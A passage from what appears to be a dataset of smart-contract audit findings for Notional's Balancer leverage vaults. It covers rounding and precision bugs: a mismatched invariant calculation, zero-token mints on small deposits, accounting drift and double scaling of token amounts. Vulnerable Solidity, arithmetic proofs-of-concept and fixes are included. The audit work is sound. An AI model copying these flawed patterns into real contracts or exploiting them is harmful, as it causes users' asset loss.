guaranteed to be at least 1\\n Math.div(Math.mul(ampTimesTotal - _AMP_PRECISION, P_D), _AMP_PRECISION, !roundUp)\\n ),\\n roundUp\\n );\\n\\n if (invariant > prevInvariant) {\\n if (invariant - prevInvariant <= 1) {\\n return invariant;\\n }\\n } else if (prevInvariant - invariant <= 1) {\\n return invariant;\\n }\\n }\\n }\\n\\n revert CalculationDidNotConverge();\\n }\\n```\\n\\nWithin the `Boosted3TokenPoolUtils._getSpotPrice` and `Boosted3TokenPoolUtils._getValidatedPoolData` functions, the `StableMath._calculateInvariant` is computed rounding up.\\n```\\nFile: Boosted3TokenPoolUtils.sol\\n function _getSpotPrice(\\n ThreeTokenPoolContext memory poolContext, \\n BoostedOracleContext memory oracleContext,\\n uint8 tokenIndex\\n ) internal pure returns (uint256 spotPrice) {\\n..SNIP..\\n uint256[] memory balances = _getScaledBalances(poolContext);\\n uint256 invariant = StableMath._calculateInvariant(\\n oracleContext.ampParam, balances, true // roundUp = true\\n );\\n```\\n\\n```\\nFile: Boosted3TokenPoolUtils.sol\\n function _getValidatedPoolData(\\n ThreeTokenPoolContext memory poolContext,\\n BoostedOracleContext memory oracleContext,\\n StrategyContext memory strategyContext\\n ) internal view returns (uint256 virtualSupply, uint256[] memory balances, uint256 invariant) {\\n (virtualSupply, balances) =\\n _getVirtualSupplyAndBalances(poolContext, oracleContext);\\n\\n // Get the current and new invariants. Since we need a bigger new invariant, we round the current one up.\\n invariant = StableMath._calculateInvariant(\\n oracleContext.ampParam, balances, true // roundUp = true\\n );\\n```\\n\\nHowever, Balancer has since migrated its Boosted3Token pool from the legacy BoostedPool structure to a new ComposableBoostedPool contract.\\nThe new ComposableBoostedPool contract uses a newer version of the StableMath library where the `StableMath._calculateInvariant` function always rounds down.\\n```\\n function _calculateInvariant(uint256 amplificationParameter, uint256[] memory balances)\\n internal\\n pure\\n returns (uint256)\\n {\\n /**********************************************************************************************\\n // invariant //\\n // D = invariant D^(n+1) //\\n // A = amplification coefficient A n^n S + D = A D n^n + ----------- //\\n // S = sum of balances n^n P //\\n // P = product of balances //\\n // n = number of tokens //\\n **********************************************************************************************/\\n\\n // Always round down, to match Vyper's arithmetic (which always truncates).\\n\\n uint256 sum = 0; // S in the Curve version\\n uint256 numTokens = balances.length;\\n for (uint256 i = 0; i < numTokens; i++) {\\n sum = sum.add(balances[i]);\\n }\\n if (sum == 0) {\\n return 0;\\n }\\n ..SNIP..\\n```\\n\\nThus, Notional round up when calculating the invariant while Balancer's ComposableBoostedPool round down when calculating the invariant. This inconsistency will result in a different invariant | To avoid any discrepancy in the result, ensure that the StableMath library used by Balancer's ComposableBoostedPool and Notional's Boosted3Token leverage vault are aligned, and the implementation of the StableMath functions is the same between them. | The invariant is used to compute the spot price to verify if the pool has been manipulated before executing certain key vault actions (e.g. settle vault, reinvest rewards). If the inputted invariant is inaccurate, the spot price computed might not be accurate and might not match the actual spot price of the Balancer Pool. In the worst-case scenario, it might potentially fail to detect the pool has been manipulated and the trade proceeds to execute against the manipulated pool leading to a loss of assets. | ```\\nFile: StableMath.sol\\n function _calculateInvariant(\\n uint256 amplificationParameter,\\n uint256[] memory balances,\\n bool roundUp\\n ) internal pure returns (uint256) {\\n /**********************************************************************************************\\n // invariant //\\n // D = invariant D^(n+1) //\\n // A = amplification coefficient A n^n S + D = A D n^n + ----------- //\\n // S = sum of balances n^n P //\\n // P = product of balances //\\n // n = number of tokens //\\n *********x************************************************************************************/\\n\\n unchecked {\\n // We support rounding up or down.\\n uint256 sum = 0;\\n uint256 numTokens = balances.length;\\n for (uint256 i = 0; i < numTokens; i++) {\\n sum = sum.add(balances[i]);\\n }\\n if (sum == 0) {\\n return 0;\\n }\\n\\n uint256 prevInvariant = 0;\\n uint256 invariant = sum;\\n uint256 ampTimesTotal = amplificationParameter * numTokens;\\n\\n for (uint256 i = 0; i < 255; i++) {\\n uint256 P_D = balances[0] * numTokens;\\n for (uint256 j = 1; j < numTokens; j++) {\\n P_D = Math.div(Math.mul(Math.mul(P_D, balances[j]), numTokens), invariant, roundUp);\\n }\\n prevInvariant = invariant;\\n invariant = Math.div(\\n Math.mul(Math.mul(numTokens, invariant), invariant).add(\\n Math.div(Math.mul(Math.mul(ampTimesTotal, sum), P_D), _AMP_PRECISION, roundUp)\\n ),\\n Math.mul(numTokens + 1, invariant).add(\\n // No need to use checked arithmetic for the amp precision, the amp is guaranteed to be at least 1\\n Math.div(Math.mul(ampTimesTotal - _AMP_PRECISION, P_D), _AMP_PRECISION, !roundUp)\\n ),\\n roundUp\\n );\\n\\n if (invariant > prevInvariant) {\\n if (invariant - prevInvariant <= 1) {\\n return invariant;\\n }\\n } else if (prevInvariant - invariant <= 1) {\\n return invariant;\\n }\\n }\\n }\\n\\n revert CalculationDidNotConverge();\\n }\\n```\\n |
Users deposit assets to the vault but receives no strategy token in return | high | Due to a rounding error in Solidity, it is possible that a user deposits assets to the vault, but receives no strategy token in return due to issues in the following functions:\\nStrategyUtils._convertBPTClaimToStrategyTokens\\nBoosted3TokenPoolUtils._deposit\\nTwoTokenPoolUtils._deposit\\nThis affects both the TwoToken and Boosted3Token vaults\\n```\\nint256 internal constant INTERNAL_TOKEN_PRECISION = 1e8;\\nuint256 internal constant BALANCER_PRECISION = 1e18;\\n```\\n\\nWithin the `StrategyUtils._convertBPTClaimToStrategyTokens` function, it was observed that the numerator precision (1e8) is much smaller than the denominator precision (1e18).\\n```\\nFile: StrategyUtils.sol\\n /// @notice Converts BPT to strategy tokens\\n function _convertBPTClaimToStrategyTokens(StrategyContext memory context, uint256 bptClaim)\\n internal pure returns (uint256 strategyTokenAmount) {\\n if (context.vaultState.totalBPTHeld == 0) {\\n // Strategy tokens are in 8 decimal precision, BPT is in 18. Scale the minted amount down.\\n return (bptClaim * uint256(Constants.INTERNAL_TOKEN_PRECISION)) / \\n BalancerConstants.BALANCER_PRECISION;\\n }\\n\\n // BPT held in maturity is calculated before the new BPT tokens are minted, so this calculation\\n // is the tokens minted that will give the account a corresponding share of the new bpt balance held.\\n // The precision here will be the same as strategy token supply.\\n strategyTokenAmount = (bptClaim * context.vaultState.totalStrategyTokenGlobal) / context.vaultState.totalBPTHeld;\\n }\\n```\\n\\nAs a result, the `StrategyUtils._convertBPTClaimToStrategyTokens` function might return zero strategy tokens under the following two conditions:\\nIf the `totalBPTHeld` is zero (First Deposit)\\nIf the `totalBPTHeld` is zero, the code at Line 31 will be executed, and the following formula is used:\\n```\\nstrategyTokenAmount = (bptClaim * uint256(Constants.INTERNAL_TOKEN_PRECISION)) / BalancerConstants.BALANCER_PRECISION;\\nstrategyTokenAmount = (bptClaim * 1e8) / 1e18\\nstrategyTokenAmount = ((10 ** 10 - 1) * 1e8) / 1e18 = 0\\n```\\n\\nDuring the first deposit, if the user deposits less than 1e10 BPT, Solidity will round down and `strategyTokenAmount` will be zero.\\nIf the `totalBPTHeld` is larger than zero (Subsequently Deposits)\\nIf the `totalBPTHeld` is larger than zero, the code at Line 38 will be executed, and the following formula is used:\\n```\\nstrategyTokenAmount = (bptClaim * context.vaultState.totalStrategyTokenGlobal) / context.vaultState.totalBPTHeld;\\nstrategyTokenAmount = (bptClaim * (x * 1e8))/ (y * 1e18)\\n```\\n\\nIf the numerator is less than the denominator, the `strategyTokenAmount` will be zero.\\nTherefore, it is possible that the users deposited their minted BPT to the vault, but received zero strategy tokens in return.\\n```\\nFile: Boosted3TokenPoolUtils.sol\\n function _deposit(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n BoostedOracleContext memory oracleContext,\\n uint256 deposit,\\n uint256 minBPT\\n ) internal returns (uint256 strategyTokensMinted) {\\n uint256 bptMinted = poolContext._joinPoolAndStake({\\n strategyContext: strategyContext,\\n stakingContext: stakingContext,\\n oracleContext: oracleContext,\\n deposit: deposit,\\n minBPT: minBPT\\n });\\n\\n strategyTokensMinted = strategyContext._convertBPTClaimToStrategyTokens(bptMinted);\\n\\n strategyContext.vaultState.totalBPTHeld += bptMinted;\\n // Update global supply count\\n strategyContext.vaultState.totalStrategyTokenGlobal += strategyTokensMinted.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n }\\n```\\n\\nProof-of-Concept\\nAssume that Alice is the first depositor, and she forwarded 10000 BPT. During the first mint, the strategy token will be minted in a 1:1 ratio. Therefore, Alice will receive 10000 strategy tokens in return. At this point in time, `totalStrategyTokenGlobal` = 10000 strategy tokens and `totalBPTHeld` is 10000 BPT.\\nWhen Bob deposits to the vault after Alice, he will be subjected to the following formula:\\n```\\nstrategyTokenAmount = (bptClaim * context.vaultState.totalStrategyTokenGlobal) / context.vaultState.totalBPTHeld;\\nstrategyTokenAmount = (bptClaim * (10000 * 1e8))/ (10000 * 1e18)\\nstrategyTokenAmount = (bptClaim * (1e12))/ (1e22)\\n```\\n\\nIf Bob deposits less than 1e10 BPT, Solidity will round down and `strategyTokenAmount` will be zero. Bob will receive no strategy token in return for his BPT.\\nAnother side effect of this issue is that if Alice withdraws all her strategy tokens, she will get back all her 10000 BPT plus the BPT that Bob deposited earlier. | Consider reverting if zero strategy token is minted. This check has been implemented in many well-known vault designs as this is a commonly known issue (e.g. Solmate)\\n```\\nfunction _deposit(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n BoostedOracleContext memory oracleContext,\\n uint256 deposit,\\n uint256 minBPT\\n) internal returns (uint256 strategyTokensMinted) {\\n uint256 bptMinted = poolContext._joinPoolAndStake({\\n strategyContext: strategyContext,\\n stakingContext: stakingContext,\\n oracleContext: oracleContext,\\n deposit: deposit,\\n minBPT: minBPT\\n });\\n\\n strategyTokensMinted = strategyContext._convertBPTClaimToStrategyTokens(bptMinted);\\n// Add the line below\\n require(strategyTokensMinted != 0, "zero strategy token minted"); \\n\\n strategyContext.vaultState.totalBPTHeld // Add the line below\\n= bptMinted;\\n // Update global supply count\\n strategyContext.vaultState.totalStrategyTokenGlobal // Add the line below\\n= strategyTokensMinted.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n}\\n```\\n | Loss of assets for the users as they deposited their assets but receive zero strategy tokens in return. | ```\\nint256 internal constant INTERNAL_TOKEN_PRECISION = 1e8;\\nuint256 internal constant BALANCER_PRECISION = 1e18;\\n```\\n |
Vault's `totalStrategyTokenGlobal` will not be in sync | high | The `strategyContext.vaultState.totalStrategyTokenGlobal` variable that tracks the number of strategy tokens held in the vault will not be in sync and will cause accounting issues within the vault.\\nThis affects both the TwoToken and Boosted3Token vaults\\nThe `StrategyUtils._convertStrategyTokensToBPTClaim` function might return zero if a small number of `strategyTokenAmount` is passed into the function. If `(strategyTokenAmount * context.vaultState.totalBPTHeld)` is smaller than `context.vaultState.totalStrategyTokenGlobal`, the `bptClaim` will be zero.\\n```\\nFile: StrategyUtils.sol\\n /// @notice Converts strategy tokens to BPT\\n function _convertStrategyTokensToBPTClaim(StrategyContext memory context, uint256 strategyTokenAmount)\\n internal pure returns (uint256 bptClaim) {\\n require(strategyTokenAmount <= context.vaultState.totalStrategyTokenGlobal);\\n if (context.vaultState.totalStrategyTokenGlobal > 0) {\\n bptClaim = (strategyTokenAmount * context.vaultState.totalBPTHeld) / context.vaultState.totalStrategyTokenGlobal;\\n }\\n }\\n```\\n\\nIn Line 441 of the `Boosted3TokenPoolUtils._redeem` function below, if `bptClaim` is zero, it will return zero and exit the function immediately.\\nIf a small number of `strategyTokens` is passed into the `_redeem` function and the `bptClaim` ends up as zero, the caller of the `_redeem` function will assume that all the `strategyTokens` have been redeemed.\\n```\\nFile: Boosted3TokenPoolUtils.sol\\n function _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n ) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n\\n if (bptClaim == 0) return 0;\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n strategyContext.vaultState.totalBPTHeld -= bptClaim;\\n strategyContext.vaultState.totalStrategyTokenGlobal -= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n }\\n```\\n\\nThe following function shows an example of the caller of the `_redeem` function at Line 171 below accepting the zero value as it does not revert when the zero value is returned by the `_redeem` function. Thus, it will consider the small number of `strategyTokens` to be redeemed. Note that the `_redeemFromNotional` function calls the `_redeem` function under the hood.\\n```\\nFile: BaseStrategyVault.sol\\n function redeemFromNotional(\\n address account,\\n address receiver,\\n uint256 strategyTokens,\\n uint256 maturity,\\n uint256 underlyingToRepayDebt,\\n bytes calldata data\\n ) external onlyNotional returns (uint256 transferToReceiver) {\\n uint256 borrowedCurrencyAmount = _redeemFromNotional(account, strategyTokens, maturity, data);\\n\\n uint256 transferToNotional;\\n if (account == address(this) || borrowedCurrencyAmount <= underlyingToRepayDebt) {\\n // It may be the case that insufficient tokens were redeemed to repay the debt. If this\\n // happens the Notional will attempt to recover the shortfall from the account directly.\\n // This can happen if an account wants to reduce their leverage by paying off debt but\\n // does not want to sell strategy tokens to do so.\\n // The other situation would be that the vault is calling redemption to deleverage or\\n // settle. In that case all tokens go back to Notional.\\n transferToNotional = borrowedCurrencyAmount;\\n } else {\\n transferToNotional = underlyingToRepayDebt;\\n unchecked { transferToReceiver = borrowedCurrencyAmount - underlyingToRepayDebt; }\\n }\\n\\n if (_UNDERLYING_IS_ETH) {\\n if (transferToReceiver > 0) payable(receiver).transfer(transferToReceiver);\\n if (transferToNotional > 0) payable(address(NOTIONAL)).transfer(transferToNotional);\\n } else {\\n if (transferToReceiver > 0) _UNDERLYING_TOKEN.checkTransfer(receiver, transferToReceiver);\\n if (transferToNotional > 0) _UNDERLYING_TOKEN.checkTransfer(address(NOTIONAL), transferToNotional);\\n }\\n }\\n```\\n\\nSubsequently, on Notional side, it will deduct the redeemed strategy tokens from itsvaultState.totalStrategyTokens state (Refer to Line 177 below)\\n```\\nFile: VaultAction.sol\\n /// @notice Redeems strategy tokens to cash\\n function _redeemStrategyTokensToCashInternal(\\n VaultConfig memory vaultConfig,\\n uint256 maturity,\\n uint256 strategyTokensToRedeem,\\n bytes calldata vaultData\\n ) private nonReentrant returns (int256 assetCashRequiredToSettle, int256 underlyingCashRequiredToSettle) {\\n // If the vault allows further re-entrancy then set the status back to the default\\n if (vaultConfig.getFlag(VaultConfiguration.ALLOW_REENTRANCY)) {\\n reentrancyStatus = _NOT_ENTERED;\\n }\\n\\n VaultState memory vaultState = VaultStateLib.getVaultState(vaultConfig.vault, maturity);\\n (int256 assetCashReceived, uint256 underlyingToReceiver) = vaultConfig.redeemWithoutDebtRepayment(\\n vaultConfig.vault, strategyTokensToRedeem, maturity, vaultData\\n );\\n require(assetCashReceived > 0);\\n // Safety check to ensure that the vault does not somehow receive tokens in this scenario\\n require(underlyingToReceiver == 0);\\n\\n vaultState.totalAssetCash = vaultState.totalAssetCash.add(uint256(assetCashReceived));\\n vaultState.totalStrategyTokens = vaultState.totalStrategyTokens.sub(strategyTokensToRedeem);\\n vaultState.setVaultState(vaultConfig.vault);\\n\\n emit VaultRedeemStrategyToken(vaultConfig.vault, maturity, assetCashReceived, strategyTokensToRedeem);\\n return _getCashRequiredToSettle(vaultConfig, vaultState, maturity);\\n }\\n```\\n\\nHowever, the main issue is that when a small number of `strategyTokens` are redeemed and `bptClaim` is zero, the `_redeem` function will exit at Line 441 immediately. Thus, the redeemed strategy tokens are not deducted from the `strategyContext.vaultState.totalStrategyTokenGlobal` accounting variable on the Vault side.\\nThus, `strategyContext.vaultState.totalStrategyTokenGlobal` on the Vault side will not be in sync with the `vaultState.totalStrategyTokens` on the Notional side.\\n```\\nFile: Boosted3TokenPoolUtils.sol\\n function _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n ) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n\\n if (bptClaim == 0) return 0;\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n strategyContext.vaultState.totalBPTHeld -= bptClaim;\\n strategyContext.vaultState.totalStrategyTokenGlobal -= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n }\\n```\\n | The number of strategy tokens redeemed needs to be deducted from the vault's `totalStrategyTokenGlobal` regardless of the `bptClaim` value. Otherwise, the vault's `totalStrategyTokenGlobal` will not be in sync.\\nWhen `bptClaim` is zero, it does not always mean that no strategy token has been redeemed. Based on the current vault implementation, the `bptClaim` might be zero because the number of strategy tokens to be redeemed is too small and thus it causes Solidity to round down to zero.\\n```\\nfunction _redeem(\\n ThreeTokenPoolContext memory poolContext,\\n StrategyContext memory strategyContext,\\n AuraStakingContext memory stakingContext,\\n uint256 strategyTokens,\\n uint256 minPrimary\\n) internal returns (uint256 finalPrimaryBalance) {\\n uint256 bptClaim = strategyContext._convertStrategyTokensToBPTClaim(strategyTokens);\\n// Add the line below\\n strategyContext.vaultState.totalStrategyTokenGlobal // Remove the line below\\n= strategyTokens.toUint80();\\n// Add the line below\\n strategyContext.vaultState.setStrategyVaultState();\\n// Add the line below\\n\\n if (bptClaim == 0) return 0;\\n\\n finalPrimaryBalance = _unstakeAndExitPool({\\n stakingContext: stakingContext,\\n poolContext: poolContext,\\n bptClaim: bptClaim,\\n minPrimary: minPrimary\\n });\\n\\n strategyContext.vaultState.totalBPTHeld // Remove the line below\\n= bptClaim;\\n// Remove the line below\\n strategyContext.vaultState.totalStrategyTokenGlobal // Remove the line below\\n= strategyTokens.toUint80();\\n strategyContext.vaultState.setStrategyVaultState(); \\n}\\n```\\n | The `strategyContext.vaultState.totalStrategyTokenGlobal` variable that tracks the number of strategy tokens held in the vault will not be in sync and will cause accounting issues within the vault. This means that the actual total strategy tokens in circulation and the `strategyContext.vaultState.totalStrategyTokenGlobal` will be different. The longer the issue is left unfixed, the larger the differences between them.\\nThe `strategyContext.vaultState.totalStrategyTokenGlobal` will be larger than expected because it does not deduct the number of strategy tokens when it should be under certain conditions.\\nOne example of the impact is as follows: The affected variable is used within the `_convertStrategyTokensToBPTClaim` and `_convertBPTClaimToStrategyTokens`, `_getBPTHeldInMaturity` functions. These functions are used within the deposit and redeem functions of the vault. Therefore, the number of strategy tokens or assets the users receive will not be accurate and might be less or more than expected. | ```\\nFile: StrategyUtils.sol\\n /// @notice Converts strategy tokens to BPT\\n function _convertStrategyTokensToBPTClaim(StrategyContext memory context, uint256 strategyTokenAmount)\\n internal pure returns (uint256 bptClaim) {\\n require(strategyTokenAmount <= context.vaultState.totalStrategyTokenGlobal);\\n if (context.vaultState.totalStrategyTokenGlobal > 0) {\\n bptClaim = (strategyTokenAmount * context.vaultState.totalBPTHeld) / context.vaultState.totalStrategyTokenGlobal;\\n }\\n }\\n```\\n |
Token amounts are scaled up twice causing the amounts to be inflated in two token vault | high | Token amounts are scaled up twice causing the amounts to be inflated in two token vault when performing computation. This in turn causes the reinvest function to break leading to a loss of assets for vault users, and the value of their strategy tokens will be struck and will not appreciate.\\nIn Line 121-124, the `primaryAmount` and `secondaryAmount` are scaled up to `BALANCER_PRECISION` (1e18). The reason for doing so is that balancer math functions expect all amounts to be in `BALANCER_PRECISION` (1e18).\\nThen, the scaled `primaryAmount` and `secondaryAmount` are passed into the `_getSpotPrice` function at Line 126.\\n```\\nFile: Stable2TokenOracleMath.sol\\n function _validateSpotPriceAndPairPrice(\\n StableOracleContext calldata oracleContext,\\n TwoTokenPoolContext calldata poolContext,\\n StrategyContext memory strategyContext,\\n uint256 oraclePrice,\\n uint256 primaryAmount, \\n uint256 secondaryAmount\\n ) internal view {\\n // Oracle price is always specified in terms of primary, so tokenIndex == 0 for primary\\n uint256 spotPrice = _getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: poolContext.primaryBalance,\\n secondaryBalance: poolContext.secondaryBalance,\\n tokenIndex: 0\\n });\\n\\n /// @notice Check spotPrice against oracle price to make sure that \\n /// the pool is not being manipulated\\n _checkPriceLimit(strategyContext, oraclePrice, spotPrice);\\n\\n /// @notice Balancer math functions expect all amounts to be in BALANCER_PRECISION\\n uint256 primaryPrecision = 10 ** poolContext.primaryDecimals;\\n uint256 secondaryPrecision = 10 ** poolContext.secondaryDecimals;\\n primaryAmount = primaryAmount * BalancerConstants.BALANCER_PRECISION / primaryPrecision;\\n secondaryAmount = secondaryAmount * BalancerConstants.BALANCER_PRECISION / secondaryPrecision;\\n\\n uint256 calculatedPairPrice = _getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: primaryAmount,\\n secondaryBalance: secondaryAmount,\\n tokenIndex: 0\\n });\\n```\\n\\nWithin the `_getSpotPrice` function, the `primaryBalance` and `secondaryBalance` are scaled up again at Line 25 - 28. As such, any token (e.g. USDC) with a decimal of less than `BALANCER_PRECISION` (1e18) will be scaled up twice. This will cause the `balanceX` or `balanceY` to be inflated.\\n```\\nFile: Stable2TokenOracleMath.sol\\n function _getSpotPrice(\\n StableOracleContext memory oracleContext, \\n TwoTokenPoolContext memory poolContext, \\n uint256 primaryBalance,\\n uint256 secondaryBalance,\\n uint256 tokenIndex\\n ) internal view returns (uint256 spotPrice) {\\n require(tokenIndex < 2); /// @dev invalid token index\\n\\n /// Apply scale factors\\n uint256 scaledPrimaryBalance = primaryBalance * poolContext.primaryScaleFactor \\n / BalancerConstants.BALANCER_PRECISION;\\n uint256 scaledSecondaryBalance = secondaryBalance * poolContext.secondaryScaleFactor \\n / BalancerConstants.BALANCER_PRECISION;\\n\\n /// @notice poolContext balances are always in BALANCER_PRECISION (1e18)\\n (uint256 balanceX, uint256 balanceY) = tokenIndex == 0 ?\\n (scaledPrimaryBalance, scaledSecondaryBalance) :\\n (scaledSecondaryBalance, scaledPrimaryBalance);\\n\\n uint256 invariant = StableMath._calculateInvariant(\\n oracleContext.ampParam, StableMath._balances(balanceX, balanceY), true // round up\\n );\\n\\n spotPrice = StableMath._calcSpotPrice({\\n amplificationParameter: oracleContext.ampParam,\\n invariant: invariant,\\n balanceX: balanceX,\\n balanceY: balanceY\\n });\\n\\n /// Apply secondary scale factor in reverse\\n uint256 scaleFactor = tokenIndex == 0 ?\\n poolContext.secondaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.primaryScaleFactor :\\n poolContext.primaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.secondaryScaleFactor;\\n spotPrice = spotPrice * BalancerConstants.BALANCER_PRECISION / scaleFactor;\\n }\\n```\\n\\nBalancer's Scaling Factors\\nIt is important to know the underlying mechanism of scaling factors within Balancer to understand this issue.\\nWithin Balancer, all stable math calculations within the Balancer's pools are performed in 1e18. Thus, before passing the token balances to the stable math functions, all the balances need to be normalized to 18 decimals.\\nFor instance, assume that 100 USDC needs to be passed into the stable math functions for some computation. 100 USDC is equal to `100e6` since the decimals of USDC is `6`. To normalize it to 18 decimals, 100 USDC (100e6) will be multiplied by its scaling factor (1e12), and the result will be `100e18`.\\nThe following code taken from Balancer shows that the scaling factor is comprised of the scaling factor multiplied by the token rate. The scaling factor is the value needed to normalize the token balance to 18 decimals.\\n```\\n /**\\n * @dev Overrides scaling factor getter to introduce the tokens' price rate.\\n * Note that it may update the price rate cache if necessary.\\n */\\n function _scalingFactors() internal view virtual override returns (uint256[] memory scalingFactors) {\\n // There is no need to check the arrays length since both are based on `_getTotalTokens`\\n // Given there is no generic direction for this rounding, it simply follows the same strategy as the BasePool.\\n scalingFactors = super._scalingFactors();\\n scalingFactors[0] = scalingFactors[0].mulDown(_priceRate(_token0));\\n scalingFactors[1] = scalingFactors[1].mulDown(_priceRate(_token1));\\n }\\n```\\n\\nAnother point to note is that Balancer's stable math functions perform calculations in fixed point format. Therefore, the scaling factor will consist of the `FixedPoint.ONE` (1e18) multiplied by the value needed to normalize the token balance to 18 decimals. If it is a USDC with 6 decimals, the scaling factor will be 1e30:\\n```\\nFixedPoint.ONE * 10**decimalsDifference\\n1e18 * 1e12 = 1e30\\n```\\n\\n```\\n /**\\n * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if\\n * it had 18 decimals.\\n */\\n function _computeScalingFactor(IERC20 token) internal view returns (uint256) {\\n // Tokens that don't implement the `decimals` method are not supported.\\n uint256 tokenDecimals = ERC20(address(token)).decimals();\\n\\n // Tokens with more than 18 decimals are not supported.\\n uint256 decimalsDifference = Math.sub(18, tokenDecimals);\\n return FixedPoint.ONE * 10**decimalsDifference;\\n }\\n```\\n\\nProof-of-Concept\\nAssume that one of the tokens in Notional's two token leverage vault has a decimal of less than 18. Let's take USDC as an example.\\n100 USDC (1e6) is passed into the `_validateSpotPriceAndPairPrice` function as the `primaryAmount`. In Line 121-124 of the `_validateSpotPriceAndPairPrice` function, the `primaryAmount` will be scaled up to `BALANCER_PRECISION` (1e18).\\n`primaryAmount` = `primaryAmount` * BalancerConstants.BALANCER_PRECISION / primaryPrecision;\\n`primaryAmount` = 100e6 * 1e18 / 1e6\\n`primaryAmount` = 100e18\\nWithin the `_getSpotPrice` function, the `primaryBalance` is scaled up again at Line 25 - 28 of the `_getSpotPrice` function.\\n`scaledPrimaryBalance = `primaryBalance` * poolContext.primaryScaleFactor / BalancerConstants.BALANCER_PRECISION;\\nscaledPrimaryBalance = 100e18 * 1e30 / 1e18\\nscaledPrimaryBalance = 1e30\\nscaledPrimaryBalance = 1000000000000e18`\\nAs shown above, normalized 100 USDC (100e18) ended up becoming normalized 1000000000000 USDC (1000000000000e18). Therefore, the stable math functions are computed with an inflated balance of 1000000000000 USDC instead of 100 USDC. | Since the token balances are already normalized to 18 decimals within the `_getSpotPrice` function, the code to normalize the token balances in the `_validateSpotPriceAndPairPrice` function can be removed.\\n```\\n function _validateSpotPriceAndPairPrice(\\n StableOracleContext calldata oracleContext,\\n TwoTokenPoolContext calldata poolContext,\\n StrategyContext memory strategyContext,\\n uint256 oraclePrice,\\n uint256 primaryAmount, \\n uint256 secondaryAmount\\n ) internal view {\\n // Oracle price is always specified in terms of primary, so tokenIndex == 0 for primary\\n uint256 spotPrice = _getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: poolContext.primaryBalance,\\n secondaryBalance: poolContext.secondaryBalance,\\n tokenIndex: 0\\n });\\n\\n /// @notice Check spotPrice against oracle price to make sure that \\n /// the pool is not being manipulated\\n _checkPriceLimit(strategyContext, oraclePrice, spotPrice);\\n\\n// Remove the line below\\n /// @notice Balancer math functions expect all amounts to be in BALANCER_PRECISION\\n// Remove the line below\\n uint256 primaryPrecision = 10 ** poolContext.primaryDecimals;\\n// Remove the line below\\n uint256 secondaryPrecision = 10 ** poolContext.secondaryDecimals;\\n// Remove the line below\\n primaryAmount = primaryAmount * BalancerConstants.BALANCER_PRECISION / primaryPrecision;\\n// Remove the line below\\n secondaryAmount = secondaryAmount * BalancerConstants.BALANCER_PRECISION / secondaryPrecision;\\n\\n uint256 calculatedPairPrice = _getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: primaryAmount,\\n secondaryBalance: secondaryAmount,\\n tokenIndex: 0\\n });\\n\\n /// @notice Check the calculated primary/secondary price against the oracle price\\n /// to make sure that we are joining the pool proportionally\\n _checkPriceLimit(strategyContext, oraclePrice, calculatedPairPrice);\\n }\\n```\\n | The spot price computed by the `Stable2TokenOracleMath._getSpotPrice` function will deviate from the actual price because inflated balances were passed into it. The deviated spot price will then be passed to the `_checkPriceLimit` function to verify if the spot price has deviated from the oracle price. The check will fail and cause a revert. This will in turn cause the `Stable2TokenOracleMath._validateSpotPriceAndPairPrice` function to revert.\\nTherefore, any function that relies on the `Stable2TokenOracleMath._validateSpotPriceAndPairPrice` function will be affected. It was found that the `MetaStable2TokenAuraHelper.reinvestReward` relies on the `Stable2TokenOracleMath._validateSpotPriceAndPairPrice` function. As such, reinvest feature of the vault will be broken and the vault will not be able to reinvest its rewards.\\nThis in turn led to a loss of assets for vault users, and the value of their strategy tokens will be struck and will not appreciate. | ```\\nFile: Stable2TokenOracleMath.sol\\n function _validateSpotPriceAndPairPrice(\\n StableOracleContext calldata oracleContext,\\n TwoTokenPoolContext calldata poolContext,\\n StrategyContext memory strategyContext,\\n uint256 oraclePrice,\\n uint256 primaryAmount, \\n uint256 secondaryAmount\\n ) internal view {\\n // Oracle price is always specified in terms of primary, so tokenIndex == 0 for primary\\n uint256 spotPrice = _getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: poolContext.primaryBalance,\\n secondaryBalance: poolContext.secondaryBalance,\\n tokenIndex: 0\\n });\\n\\n /// @notice Check spotPrice against oracle price to make sure that \\n /// the pool is not being manipulated\\n _checkPriceLimit(strategyContext, oraclePrice, spotPrice);\\n\\n /// @notice Balancer math functions expect all amounts to be in BALANCER_PRECISION\\n uint256 primaryPrecision = 10 ** poolContext.primaryDecimals;\\n uint256 secondaryPrecision = 10 ** poolContext.secondaryDecimals;\\n primaryAmount = primaryAmount * BalancerConstants.BALANCER_PRECISION / primaryPrecision;\\n secondaryAmount = secondaryAmount * BalancerConstants.BALANCER_PRECISION / secondaryPrecision;\\n\\n uint256 calculatedPairPrice = 